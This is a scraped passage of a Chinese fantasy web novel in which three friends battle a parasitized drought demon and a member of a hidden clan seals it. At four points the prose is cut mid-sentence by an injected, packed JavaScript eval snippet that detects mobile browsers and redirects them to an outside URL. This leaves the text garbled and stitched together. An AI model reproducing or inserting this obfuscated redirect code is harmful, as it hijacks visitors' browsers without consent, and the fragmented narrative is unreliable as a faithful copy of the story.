沈半人絮絮叨叨地说着,靳川边吃边摇头,“不急,等帮你找到那个大家族我再去也不迟。” “不用,我不打算去找他们了。” 靳川正喝着粥,差点没被呛死,咳了好一会儿才顺气,从牙缝里挤出几个字:“不去了?” “嗯,不去了。”沈半人一脸淡然,“人家不会帮我的。” “你怎么知道,你又没见过人家,没问过人家会不会帮你啊!”靳川丢下筷子,不解地问。 “见过啦,人家已经拒绝我了,只是没有明说而已。” “什么意思?”九瑶思索片刻,突然想到,“难道你是说洞里的那群人?” 沈半人默认。 “你确定吗?”九瑶问他 沈半人没有直接回答:“你们还记得我那张地图吗?”说着从他的大背包里翻出地图,展开,靳川拿纸巾擦了擦嘴,和九瑶一块儿凑过去看。 “我们从黑河山的山腹,经由这个窄长的山洞,再通过那个迷宫一样的通道,一直走到了这里,”沈半人手指点上那地图上的一座山群。 “这个山群我知道,”靳川说道,“这是虞山山群,它是一个完全封闭的山群,总共有五座山岭,都是绝壁。据说山群里有一个草场,但是牧民从来都不会去那里放牧,就是因为山群陡峭,环境凶险。” 沈半人点头:“没错,正是因为天险,虞山山群很难被开发,所以如果有人掌握了一条通往山群的通道,就可以独享整个山群的资源。我弟弟跟我说过,我们的那个大家族,数百年前就已避世而居,结合这张地图,所以我想虞山山群对他们而言必然是个很不错的选择。” “所以你要找的那个通道,其实就是我们进去的那个山洞。”靳川领悟过来。 “嗯,靳川你在黑河山山腹住了这么久,却没有见过这个通道,是因为这个通道其实是标在虞山那一边的。只是地图上把两个山群缩小,所以不仔细研究,根本看不出来。” “还有,”沈半人问九瑶:“难道你不觉得洞中那个年轻人无论是在看到头颅怪,还是那条巨蟒一样的庞然大物时,都表现的太过淡定了吗?正常人应该是听到这些东西都会觉得是天方夜谭的,可他不止是丝毫不畏惧,还对那些东西了如指掌。除了与我同出一族的人,我想不到这世上还有其他的人能有这样的见识。” “再加上那群人,对那个迷宫一样山洞如此熟悉,就跟在自己家门口一样的,还能掐点往里面送饭,说明什么?说明他们就住在那儿附近,种种迹象表明,他们就是我要找的那个大家族。” “你当时为什么不亲口问问呢?”九瑶实在不懂他为什么问都不问就断定人家不肯帮他,“也许人家只是不确定你的身份,你也说了你们这个家族背景这么复杂,身份又这么特殊,可能人家也有过怀疑,只是谨慎起见,不便开口。” “不用问了,”沈半人语气笃定,“那个叫十七的小伙子附在那个人耳边说事的时候,我就发现那个人看向我的眼神变了,大概是没想到还有我这么个没用的落难亲戚,还能舔着脸上门。” “后来一起吃饭的时候,他也一直在观察我,我有几次明显的感觉到他想跟我说什么,但他并没有开口,应该是他的族人不让他管我吧。” 沈半人自嘲地笑笑:“所以,他们已经查清我的身份,如果愿意帮我,早就敞开说了。什么都不戳破,只是为了给彼此体面罢了。” “那你回去了,就不怕自己的特殊体质又招来那些怨灵恶鬼?”靳川问。 “我就没怕过什么怨灵恶鬼,我怕的只是给他人带来无妄的祸端。就像你跟九瑶,你们是我的朋友,所以我才更不想你们因为我而受到伤害。” “是因为那个头颅怪吗?”九瑶心下了然,“你在担心它会回来找你。” 沈半人没有说话,再次默认。 靳川神情凝重,坚持道:“你是因为陪我下洞,才会遇上那头颅怪的,事情因我而起,我必须留下来同你一起面对。” “跟你无关的,是我身上的气息将它引来了,所以不管我下不下洞,它找到我是迟早的事。” “可是……”靳川还想说什么,沈半人打断他:“靳川,我实话跟你说吧,那个头颅怪不是普通的邪祟妖物。能担得上千年的岁月,又是不死之身,这样的庞然大物只有可能来自上古时期,恐怕属性都已经接近于神了。” “我这次是在劫难逃了,但你跟这件事无关,你不要牵扯进来。” “还有九瑶,我是真心的想帮你。”沈半人看着她,语气诚恳地说道:我懂你的困惑和无奈,懂你的孤独和落寞。我曾经对我的家族失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478069|141963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望痛恨,满心只想着划清界限,可等到他们一一离去,独留我一人在世上,我又变的无所适从。那种天地间唯我一人,无处可去,无家可归的感觉,我不过才体会了两个多月,便已觉煎熬难耐。而你已不知流浪了多少年,更不知道还要再流浪多久。” “我帮不了你,但我想他们或许能够帮助你。”他将手中那张地图折好,递给九瑶,“这份地图我已经重新完善过了,你照着去找他们吧,找昨天洞中的那个年轻人,那个人虽然外表看上去冷漠了点,但我能看得出来,他骨子里是个很善良的人,我这人一向看人很准,他一定愿意帮助你。” 九瑶没有说话,也没有接过地图。沈半人把地图塞到她手里。 “我知道你们肯定不愿意走,那就我走吧,我把那东西引的远一点,不要再因为我造成无谓的伤亡了。” “你们也不用为我难过,我其实从小到大,都锦衣玉食的,又生了一幅好皮囊,所以身边也总是热热闹闹的,没缺过朋友更没缺过爱。我唯一的遗憾,就是活了这么多年对社会也没啥贡献,就让我最后再为这世界做一点点微不足道的事情吧。” 说罢,冲他俩笑了笑,转身,挥了挥手,就最后留下个潇洒的背影吧。 靳川:“沈半人,你把我们当什么人了?你都能不计生死地陪我下洞找人,难道我就不能……” “那你也不用陪我去送死吧。”沈半人截断他的话,“靳川啊,事有可为和不可为,尽力就好。人的一生总是会有一些遗憾的。” “喂,”靳川叫住他,“谁说是送死,不试试怎么知道会不会有奇迹出现?” “什么样的奇迹?”沈半人苦笑,什么样的奇迹也不能违背客观事实吧。 “我学上的没你多,但是我听过一个故事,叫‘螳螂杀蛇’。” 沈半人停住了脚步。 “在螳螂眼中,碗口粗大的蛇,也并非不可打败。只要摸清了敌人的短处,找到它的弱点,抓住它的要害,然后充分发挥自己的长处,即便处于弱势,也有一战的勇气,有取得胜利的机会。” 靳川一字一句,语气诚挚:“虽然只有短短两日的相处,但我们却共同经历了生死,即使不问名姓,也已把对方当成生死之交。什么是生死之交,在我的理解中,是当我遭逢绝境,背水一战时,那个会义无反顾站出来跟我并肩作战的人,是当我生死一线,奄奄一息时,可以放心将我之所有赠予托付的人。也是……” 靳川停顿了一下,沈半人转过身,四目相对,沈半人眼中是震撼,靳川眼中是坚定。 “也是,我同样会如此待他的人。” 靳川不善言辞,所言不过真情实感,他能说出这样一番感人肺腑的话,除了他秉性纯澈外,还是因为他确实把沈半人和九瑶,当成是至交好友。如此深情,再辜负就不礼貌了。 沈半人笑:“好,那我们试试吧。” 世人总爱展望未来,在意外来临前谁都以为这一生会很长,会结交各式各样的朋友,发生很多有趣的事情,会过的波澜壮阔跌宕起伏。其实,真正的人生,只在当下而已,是当下的真情真性,所遇所选构成了生命的骨架,血肉和温度。 “但你们要答应我,如果没有奇迹发生,也不要太强求。我们在是朋友之前,先得是我们自己。尊重他人的命运,也珍惜自己的生命。” “好。” …… 10. 第 9 章 繁星数点,明月高悬。这本该是一个宁静美好的夜晚。 忽然“轰”的一连串巨响,马路上一排房子瞬间土崩瓦解,扬起的巨大灰尘几乎把夜色搅浑。空气中传来“嘶嘶”的低鸣声,伴随着浓烈的血腥气和土腥味。 沈半人知道那东西到了,他下意识去找它的身体,却意外的在仍留有半个屋顶的残垣上看到了它巨大的头颅。 这情状说不出的古怪,它的头颅比起洞中初见时要大了许多许多倍,但却仍是一颗人的头颅——乱蓬蓬的头发下,是一张破碎皲裂的脸,漆黑不见底的双瞳以及因长年啖肉食骨而锋利血腥的牙齿。 ?山海经?里记载过许多人首动物身的物种,比如伏羲女娲就是人首蛇身,九天玄女就是人首鸟身,山神陆吾就是人首虎身,当时看书中插画只觉惊奇有趣,如今亲眼得见却是惊惧之余又令人心生敬畏。 不知道是不是错觉,他感觉这巨物跟以往的那些邪祟都不同,它似乎异常的贪恋他的身体(物理层面),几乎可以听见它磨牙和吞咽口水的声音。 “你想吃我?”沈半人一脸欠揍的表情,激它:“那你来啊!”说罢,一个轻巧转身,像只灵敏的雀子一样腾空飞走。 再一细看,原来他脖子后面还挂着根绳子,绳子下面连接着三片弹力带,两片穿过腋下,一片固定在胸腹间,长长的绳子穿过树上固定的滑轮另一端握在九瑶手上。 “抓到我就给你舔一口!” “喀啦……喀啦……”巨物的怒火化作对建筑残骸的毁灭性伤害,“轰”一声,那半片屋顶瞬间化为碎渣,雪片般落下。烟尘中,巨物弓着身子,缩起脖子,锁定猎物移动的方向,然后像个出膛的炮弹一样,猛地撞出去,身躯在空中盘旋蠕动犹如巨型的龙卷风,尾巴扫过的地方树木倾倒房屋坍塌石头化为齑粉…… 一日不见,那巨物的速度竟快的如此离谱,身后压迫感骤然来袭,激荡起的气流鞭子般打在背脊,沈半人咬牙苦忍,在巨物堪堪要撞上他的瞬间,九瑶手起刀落,砍断绳索,沈半人身体急速下坠落入地下的一口空井中,井中早已垫上厚厚的草堆被褥。 突来变故,巨物反应不及,巨大的身躯由于惯性俯冲落地,靳川看准时机拉动机关,一锅滚油朝那巨物泼将上去。 巨物并未被烫伤,但滚油湿滑,不好着力,越是挣扎,越是原地打转,九瑶趁此机会左右围合,以缆绳编织成网,将巨兽围困其中。 缆绳并非普通绳索,里面是钢铜铝等金属作芯,外面裹以聚酯和尼龙,再浸润黄磷、油蜡等易燃物,地面也不止滚油,还有靳川去山下搞来的几桶汽油。 沈半人严阵以待,等到九瑶功成身退,便立即引燃事先准备好的导火索,只见火星长蛇般飞窜聚合,织成火网。不一会儿,大火弥漫,地面草木房屋连同那巨物一齐陷于火海之中…… …… 下午,靳川房间。 沈半人:“九瑶,你仔细回忆一下,昨天在洞里见到它的每一个细节。” “我记得那是像蟒一样的庞然大物,身上有坚硬的鳞片,在岩石间游动的时候,有时会发出‘嘶嘶’的叫声,有时,又好像是‘呜呜’的叫声。” “嘶嘶声可能是叫声,也可能是跟空气摩擦的声音,但呜呜声会是什么动物发出的呢?”沈半人思索不出头绪,“还有吗?” “它身体接触过的岩石,滚烫如烙铁,摩擦过的岩壁,火星流动,吞吐的气息,能够翻起热浪。” “那是不是说明它是什么火系物种?那我们用水来攻击它?”靳川提议。 “不,”沈半人否定,“我们用火来攻击它。” “为什么呀?”靳川不明白。 “大禹的父亲是谁?”沈半人突然问。 靳川一脸懵逼:“鲧?” “对,那提到鲧,你会想到什么?” “洪水……” “非常好!”沈半人像表扬小学生一样,给予靳川充分的肯定,“鲧是洪水神话中最重要的成员之一,众所周知,在禹之前,一直是鲧负责治水的,那他为什么会被派去治水?在那个时代肯定是因为他善水啊,他是水系物种。? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478070|141963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山海经?里记载的鲧,是一种大鱼,他又诞生于龙蛇文化,所以龙蛇便被划分到了水系。” “刚才九瑶说了,那巨物蟒身,有鳞,结合这两个特征,必然是龙蛇鱼中的一种。所以我们若用水淹他,那不是让蛟龙入海了!” “可它虽然是龙蛇外形,但它并没有生活在水中啊,而是生活在高温干燥的的岩层缝隙中,说明它可能并不怕火。”靳川仍然坚持自己的想法。 沈半人沉吟片刻,道:“有没有可能,岩石夹缝只是干燥,并非高温呢,它也并不是居住在那里,而是从很远的地方由地下岩层游过来的,因为鳞甲坚硬,与岩石摩擦,这才引发了高温和火星。而且,它游的很慢,说明它不适应这种环境。它不耐高温。” “就用火攻吧。”九瑶突然开口,“我想起了一件事。我用匕首刺它头颅的时候,它不曾有丝毫畏惧,但我的匕首被那个人用石头阻止,石头和刀锋碰撞,擦出了火花,然后……它就害怕的跑掉了!” …… 风把火舌撕成无数长条,旌旗招展般摇荡在夜色中,又如万千枷锁,将那巨物捆缚于牢笼之中。 不远处,三个人看着这一幕,终于如释重负。他们赌对了,大火果真能令这巨物生畏。 “接下来我们干嘛呢?”靳川目光炯炯,意犹未尽。他是生活在山里的孩子,常与危险作伴,也不是没有过徒手搏野兽的经历,但是打这么一只巨型怪物还是头一回,内心的成就感可想而知。 “能干嘛,趁它恢复之前抓紧机会溜吧!”沈半人笑,“难道还要来张合影吗。” “好主意哎,”靳川居然觉得这提议相当不错,“你带手机了吗?拍一张呗!” “没带!”沈半人无情的掐灭了希望的小火花,“这山窝窝里面连个网都没有,带手机干嘛……” 两个人说笑着转身欲走,却见九瑶立在那里一动不动,目光专注,神情凝重。 “九瑶,怎么了?”沈半人问。 “那怪物,”九瑶盯着熊熊烈火,语气严肃:“变得更大了……” 11. 第 10 章 沈半人和靳川转头看去,只见火光中那巨物身形暴涨,竟又扩大了数倍,坚硬的鳞甲片片竖起,宛若刀锋。被浓烟骇浪激起的滔天怒意,仿佛化为了实形,原本月明星稀,灿若黎明的夜晚,突然间云遮雾罩,天地失色! 随着“呜”的一声长鸣,那颗巨型头颅冲天而起,身躯似拔地而起的山脉,耸入云霄,又仿佛凌空生出的赤壁高崖,遮挡住了大半个夜空。 三个人被凌厉的刀风割的面目生痛,勉力睁开眼,就见那巨物山崩海啸般朝他们扑来,令人窒息的压迫感竟让他们双足似牢牢的吸附在大地上,动弹不得。 眼见就要被砸成泡沫齑粉,九瑶急中定神,一手一个拉着两人迅速后退,然而那巨物实在太大了,人之于它简直是芥子比之须弥。 九瑶汗湿重衫,避无可避,在那脊背上刀山般的鳞甲割来的瞬间,有人突然自后拉了她一把,将她拽到身后,然后迅速划破手掌,以血结印,半空中形成了一个绯红色透明光罩,像个巨大的冰块一样将那骇人巨物缚于其中。 这一幕发生的太快太突然,以至于九瑶几乎以为自己出现了幻觉。巨物的叫声仍在耳边,只是比起之前听起来像是隔了层厚厚的玻璃,浑浊暗哑。站定之后,看向前方,从身后九瑶看不见他的脸,只能看到他露出的两只手腕都缠裹着白色的绷带。 …… 不远处,一栋废弃的藏式小楼上,江离此刻正抱臂站在露台上,意兴阑珊地看着半空中的那个绯红阵法。 “他还真的过来帮忙了。”有人从黑暗中走出来,不屑一顾地说。 江离笑:“这不正是我们希望看到的结果吗?否则大费周章地跑去激他干嘛?” “他这是公然挑战忍哥!”那人冷哼一声,“平时倒装的一副无欲无求的样子,实则早就对家主之位势在必得了吧,忍哥要做什么,他就偏偏反其道而行!” 江离觉得自己厌蠢症要犯了,顾忌着是江忍身边的人,才强压下来,“你想多了吧,他是太爷教导出来的,太爷什么手段,你没见识过吗?” 那人不说话了。在江家,太爷想让谁当家主,谁就是家主,其他一切想争的人,都得死。 …… 那巨物被关在了阵法中,虽狂躁不驯横冲直撞,奈何阵法固若金汤,无论它怎么蛮横突破,就是纹丝不动。 施阵之人转过身来,九瑶心念微动,果然是洞中那个人。 “你怎么来了?”沈半人奇道。 江宴笑了笑:“我来,让你做个明白鬼。” 他说的云淡风轻好似一个玩笑,但沈半人知道他是认真的。没有谁会无聊到大晚上,冒着生命危险来讲一个笑话。 沈半人有种强烈的预感,这一路上让他疑惑的所有问题,都会在今天得到一个完整的答案。 “好,你能不能先告诉我,这玩意儿到底是什么东西,不要到时候我到下面去给我女娲妈妈告状,都不知道凶手叫什么!” “你不是高材生嘛,”江宴调侃他,“这里是什么地方?大西北,甘青之地是不是,那你有没有听过这里有个传说,‘幽都之山,是有大蛇,见,则其邑大旱。’” “啥?这玩意是旱魃?”沈半人震惊。 旱魃?靳川也翻了一下脑子里为数不多的库存:“……是那个黄帝的女儿,就帮忙打败蚩尤的那个?” 江宴纠正:“那是女妭。这件事呢,说来话长,不过我这次就是专程为这件事而来的。如果你愿意听的话,我可以把我知道的都告诉你。” 沈半人连连点头,他当然愿意听,听故事是他从小到大最大的兴趣爱好。何况这故事似乎也与他有关。 江宴也不卖关子:“这件事如果要说清楚的话,大概要追溯到上古神话时期,颛顼帝在位时,那个时候神人共处,地球上物种还很繁杂,什么巨人族,犬封族,氐人族等仍有遗民,大家都杂居在一块,他们之间不仅能通婚,还能繁育子孙后代,因此形成了许多不同的部落。每个部落都有自己信仰的神,而那些被信仰的神,又都有自己的奉行的教义,各自为营,谁也不服谁,于是天地间总是战乱纷争不止。” “颛顼帝为了巩固自己对部落联盟的治理,于是颁布了一项法令,叫‘绝地天通’。字面意思,就是神人划界而治,大体以昆仑之门为界,神司昆仑之上,而人掌昆仑之下。等到昆仑之门关闭,凡是滞留人界的神,皆被称为魃。” 沈半人疑惑:“那魃与神,有什么区别吗?” 江宴耐心地跟他解释:“神有神格,神格决定了神的天赋,思维,意识和能力,神格越高,神力便越强,神格越低,神识便越弱。万物灵长,即便是神格,也并非取之不尽,用之不竭,所以神格也需要滋养。” “昆仑神界的灵脉可以源源不断地给每一个神格提供养分。但魃滞留人界,神格不断消耗,得不到灵气滋养,时间久了,他们的神识和神力便会越来越弱,直至退化成他们最原始的形态。” 就比如眼前,困在阵法里的旱魃。 “女妭确如书中所说,在涿鹿大战中,靠吸风吞雨帮助黄帝战胜蚩尤,但由于神力消耗过多,无法返回昆仑,绝地天通后,她便长久的滞留于人界,成为魃。” “在成为魃之后,她的神格不断衰弱,神识退化,她开始逐渐迷失自我,就像人类退化到小婴儿时期,过去发生的事情会慢慢都忘记,甚至记不得自己是谁。而她残存的神力,却成了这世间凶禽猛兽魑魅魍魉最好的补品。” 听到这里,一直沉默的九瑶忽然握紧了拳头,为什么他说的这个过程,仿佛跟自己的经历有点相似呢? “你们看到这具蟒身,”江宴继续道:“它本名叫‘旱’,是一种生活在地河里的蟒蛇,喜食雨露,所到之处,寸水不留。女妭便是被它寄生了,为了吸食女妭残存的神力,它几乎吞掉了女妭全部的身体,只余头颅。所以你们现在看到的这个人首蟒身的巨物,它其实是女妭和‘旱’的结合体。由于‘旱’的属性,所过之处,寸雨难生,寸水不留,是以女妭才会被世人误解,将她称之为旱魃。” “那这个女妭,她到底还活不活着了,是不是算被蛀空了?”沈半人好奇地问。这女妭和‘旱’的结合体总会让他想起鲸鱼和藤壶。藤壶是一种靠寄生生存的海洋节肢生物,它们会像钉子一样大面积附着在鲸鱼的身上,令它痛痒难耐,行动迟缓,并且难以摆脱,直至死亡。有些寄生在特殊部位的藤壶还会直接蛀空鲸鱼的内脏,实在是令人头皮发麻的存在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478071|141963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “神格虽然衰退了,但神身仍在,所以魃和神一样,拥有不死之身。”江宴叹了口气,似是有感而发:“而且,这世间没有任何一种方法可以杀死魃。” “我懂了,所以女妭没死,寄生她的‘旱’也死不了。它们会这样长长久久的共生下去。”靳川也有点唏嘘。 听起来真是惨绝人寰的经历,谁能想到,昔日身份尊贵呼风唤雨的黄帝之女,居然被一条蟒蛇寄生,终日爬行在暗无天日的地底深处,落得个面目全非靠食人饮血度日的结局。 九瑶看向阵中因想要冲破结界而暴躁癫狂横冲直撞的旱魃,突然间明白了自己听到的那两种声音,原来那‘呜呜’声,正是女妭痛苦的呻吟。 “那这旱魃为什么要杀我?”沈半人有点想不明白了,他一个无名小卒,活的时间都还没女妭的一根头发长,要说是他这招惹怨灵的体质惹得祸,可这女妭压根就不是怨灵啊。 “因为你姓江。”江宴笑道,只是这次笑容有些落寞,“你的家人有没有跟你提起过祖上的事情?” “说过一点点,是不是跟‘祭神通鬼’有关?”沈半人猜测。 “没错。早在创世之初,就有了我们的先祖,据说先祖是由盘古精血所化,所以也算是神吧。只是神格与其他的神都不一样,先祖的神格是他们身体里流淌的血液,所以他们不能像其他神一样,拥有不死之身,而是需要不断的更新换代,保持血液的活力,才能保住神格。” “因此,绝地天通后,我们的先祖便被划归到了人界,而这也是先祖们悲剧宿命的开端。” “先祖虽然留在了人界,但身体里流淌的却是神血,因为拥有神血,先祖成了人界与神界沟通的唯一使者,在后来的数千年,一直承担着上达天听,下令万鬼的职责,并被后世之人称为祖巫氏。” “那些滞留人界的神魃们,神格长期得不到昆仑灵脉的滋养,为了保住自己的神格,他们只能去吸食祖巫氏的神血,祖巫氏因此死伤惨重,濒临灭绝。” “魃是祖巫氏的天敌,所谓天敌,是指他们可以对祖巫氏进行单方面的,碾压式的杀戮,在他们面前,祖巫氏几乎没有任何反抗的能力。” “为了自救,祖巫氏只好隐姓埋名,将族人们分散隐藏在各地,同时开始研究和修习能够隐藏神血气息的术法。在漫长的流亡生涯中,祖巫氏从来都没有放弃寻找制魃和驱魃的方法。” “我们都是祖巫氏的后人,都拥有神血。”江宴看着他,“你们沈家曾经靠着阴山府的庇护,躲过了神魃的绞杀,可阴山府如今跟你们解了契,自然就不会再帮你隐藏。旱魃因为感受到了你的神血气息,才会一路追逐你至此,同时,又由于它的到来,引得这附近的怨灵邪祟都跑来吸食神力,想要分一杯羹。” “所以你现在明白了吗,你并不是招鬼,而是招魃。” 这最后一句话,像一颗子弹,正中沈半人的眉心。他心头搐动,脸色苍白,久久无法平静。他虽看不惯家族所作所为,但一直以来,家族在他心中都是强悍的,无可忤逆的存在,他没有想到这背后的隐情竟是这般令人无力的。 原来他心中那个风光不可一世的沈家,从来都只是别人砧板上待宰的鱼肉而已。 12. 第 11 章 “现在,旱魃已经尝过你的血了,无论如何都不肯再放弃,”江宴惋惜地说道,“你们伤它杀它,都只会激怒于它,让它爆发出更大的戾气和杀意。” “难道我们真的就一点办法都没有吗?只能束手待毙?”靳川问他,“就算杀不死它,不能把它关起来吗?” 江宴眸光微闪,欲言又止,最后叹了口气,对沈半人说道:“我可以帮你阻它一时,你快走吧,以后是死是活,看你自己的机缘了。” 沈半人一言不发,半晌,对江宴说道:“我可以再问你两个问题吗?” 江宴点头。 “第一,短时间内,我是否可以习成隐藏神血气息的术法。” 江宴如实的摇了摇头。 “第二,现在除了江家,还可以找到谁来帮我吗?” 江宴迟疑了一下,还是摇头。 “那我不走了,”沈半人突然轻松了起来:“我走到哪里,它就会跟到哪里,如果我执意逃跑,那这一路上还会有数不清的人,会因为我而丧命。我沈半人虽然贪生怕死,但也做不出为了活命,而罔顾他人性命的事。” “再者,你困住它的这个阵法,对你也是很大的消耗吧。” 江宴有点意外的看着他,沈半人了然的笑笑:“如果你们能轻易地制住它,那即便不是为了救我,也早就出手了吧。毕竟这东西现在就在你们家门口,你们进进出出的也不安全。” “正因为制住它,需要的代价太大了,所以你们家族不会帮我的。连你们家族都不肯出手帮忙,那别人就更不用提了。” “如今我逃又逃不了,打又打不过,横竖是个死,时间长短而已。你们的修为是用来保护自己的,”他看向江宴还在慢慢向外渗血的手掌,“就不用再为我浪费了。我现在只有一个请求,我的两位朋友,与此事无关,我希望你能带他们走。” “还有我这位朋友,”他又转向九瑶,“她情况特殊,三言两语说不清楚,等她日后再与你详说吧。不过我现在推测,她的事情或许也与神血有关,若真是如此,我希望你到时能够帮帮她。” “虽然我也没有什么立场请你帮忙,就当是,看在大家都留着祖巫氏的血吧。” “沈半人……”靳川心中难受,又不知道自己还能做什么,眼泪几乎要夺眶而出。 沈半人安慰的拍拍他的肩膀:“靳川,你回宁波的话,也可以顺便去杭州逛逛。杭州有一家叫知玉斋的玉器店,是我开的,里面有个师傅姓赵,你去找他,就说沈半人让你去的。我有一些很重要的东西,以后就请你帮我保管吧。” …… 远处,藏式小楼上。 “你有没有发现阵法变了……”安静了许久,那人突然开口。 江离没说话,他早就注意到了,只是一时还想不明白。他现在倒是有点看不懂这个江宴了。 “……不是吧,他怎么想的啊!”那人终于察觉到了江宴的意图,“他竟然要为了个沈家的余孽,封印旱魃?就算这个旱魃已经是神力衰微,穷途末路了,但现在杀意这么重,强行封印,那得浪费多少修为!” “他要封印旱魃,你紧张什么?”江离实在嫌他聒噪,一点事情大惊小怪。 “人家未必像你想的那么没用。再说,修为而已,”江离远远瞧着那阵法上的神血气息越来越浓,一副看戏的表情,“没了也可以再重新练嘛。” …… 那边沈半人真情实感的在跟好友做临终道别,江宴想说什么也插不上话,忍不住在心里叹了口气:不是说和沈疑孪生兄弟?怎么跟太爷口中的两模两样? 好在流程最后又回到了他这里:“谢谢你能来这一趟,”沈半人眼泛泪花:“让我临走做个明白鬼,我还有最后一个问题。” 江宴一向有教养,耐心道:“你问吧。” 沈半人手指向阵中的旱魃:“它会怎么对我,吸干我的血还是直接吃我?” 见江宴不说话,心里更虚了:“要不我先结果了我自己?主要不管是被吸干血还是被活活咬死,都太血腥太残忍了,我怕吓着你们……” 江宴被他那犯怂又嘴硬的样子逗笑了,实在不忍心再捉弄他:“放心吧,至少你今天还不用自我了结。” “什么意思啊?” “他的意思是他会帮你。”九瑶突然开口,刚才她就注意到阵法的颜色变了,对旱魃的约束力也比之前更强。 江宴意外地看着她,九瑶也回看他,问道:“你要对旱魃做什么?” “魃是杀不死的,”江宴解释,“祖巫氏术法即使用到最高境界也只能勉强封印一般级别的神魃而已。” “那你能封印旱魃吗?”沈半人紧张地问。 江宴略加思索了一下,回道:“女妭已经被寄生千年,神格非常衰弱,但暴走状态下的她,对阵法的破坏力也非常大。我可以封印她,只是要费些修为。” 江宴说的轻松,但怎么可能只是一些修为呢。沈半人心下雪亮,推拒的话到了嘴边,但江宴没有给他说出来的机会。他走到阵法前,将原本就划破的那只手掌紧握成拳,伤口因为挤压再度出血,血一滴滴落在那阵法上。 也许是神血对旱魃的刺激,旱魃表现的比刚才更加狂躁,巨大的身躯来回摇摆,朝着四面八方凶猛的撞击着,那颗乱蓬蓬的头颅,时而像个披头散发的女鬼,凄厉恶毒,时而又如青面獠牙的猛兽,叫人胆寒,那毁天灭地的架势几乎将整个阵法震的晃荡起来。 奇怪的是,江宴只那样定定的看着阵中作困兽斗,并没有进一步的动作。 靳川担忧地问:“他怎么了?” 沈半人目光一刻不敢离开,心里提着一口气:“他应该是用神血在激那旱魃,他在消耗,旱魃也在消耗,谁先到极限,谁就会处于弱势而被制衡。” 靳川震惊,原本他以为的封印是念个口诀,或者施个咒法,就像刚才江宴突然出现以血结印那样,没想到居然是一场伤神耗时的鏖战。 江宴此时也确实不好受,封印神魃的时机是在其神格衰弱,或者神身受重创的情况下,即便如此,施加术法已是过度消耗修为,如今旱魃暴走,需要和它耗上一段时间将它熬至虚弱,再进行封印,消耗更多修为的同时也大大增加了精神和体力的消耗。 九瑶从刚才开始就一言不发,比起沈半人和靳川,她对目前状况更加的洞若观火。她能感受到双方实力上的差异,旱魃式微,而江宴的术法高深多变,但他毕竟是凡身,肉体凡胎如何能跟不死神身正面硬抗,就算能抗赢,也是得不偿失的打法。 “靳川,”九瑶走近靳川和沈半人,问:“有纸和笔吗?” 靳川没想到她会突然要这些东西,愣了一会儿才想起来:“有,村里的小商店里应该还有存货。” 九瑶点了下头,对沈半人说:“你看着点情况,我很快回来。”说完,随靳川一起离开。 在旱魃的破坏下,整个村子几乎成了一片废墟。靳川只能凭着记忆中的方位带着九瑶去找小商店,在成片的瓦砾碎渣中发现了小商店残破不堪的招牌。两个人又继续往下挖,搬开碎石等杂物,好在货柜有些是铁皮盒子,虽然变形了,但里面的东西还能用,两个人找到几支断裂的毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萆荔生于石中,攀崖而长,其叶入药,可治人间一切心伤。世人向往,趋之若鹜,有幸得神女赠叶者,无不感激涕零,歌功颂德。 极少有人知道,萆荔是会开花的,它的花很香,只是不能入药。就像极少有人记得,那个炼就吸风赶雨术却用尽神力滞留人间的旱魃,也曾是山中烂漫捧花的少女。 阵中歇斯底里的旱魃,在看清了九瑶的画后,突然停止了动作,喉咙里发出“呜呜”的声响,那双漆黑的蛇一样的眼睛,仿佛照进了一束光。 她深深的望着那张画像,那是她曾经的样子,她早已忘却多时,可这冰冷荒芜的世间,竟然还会有人记得。她很想伸手去拥抱画像中的自己,可是她已经没有手了。 滚烫的泪珠顺着那张皲裂的脸断线般疯砸,回忆怀山襄陵,浩浩滔天,她记得最深的却是离开的那一天。 ——小华山上的萆荔花开的正好,不知此生还能不能再采一束,将它挂在父亲的帷帐里,那香气最是宜眠。 失去斗志的旱魃不再负隅顽抗,江宴抓住时机,调动神血之力,结印施咒: “天生天杀,是天之道。万法循常,神明当归。” 咒生月隐,云破星落。 残星划过,淡淡金辉温柔的落在女妭的身上,她抬起头,看天,看无边无际的长夜,风雪千年,寻家无路,还好这一路有你们的相伴。 她在夜色中,化作银河万点,飘飘洒洒,落进那画中。 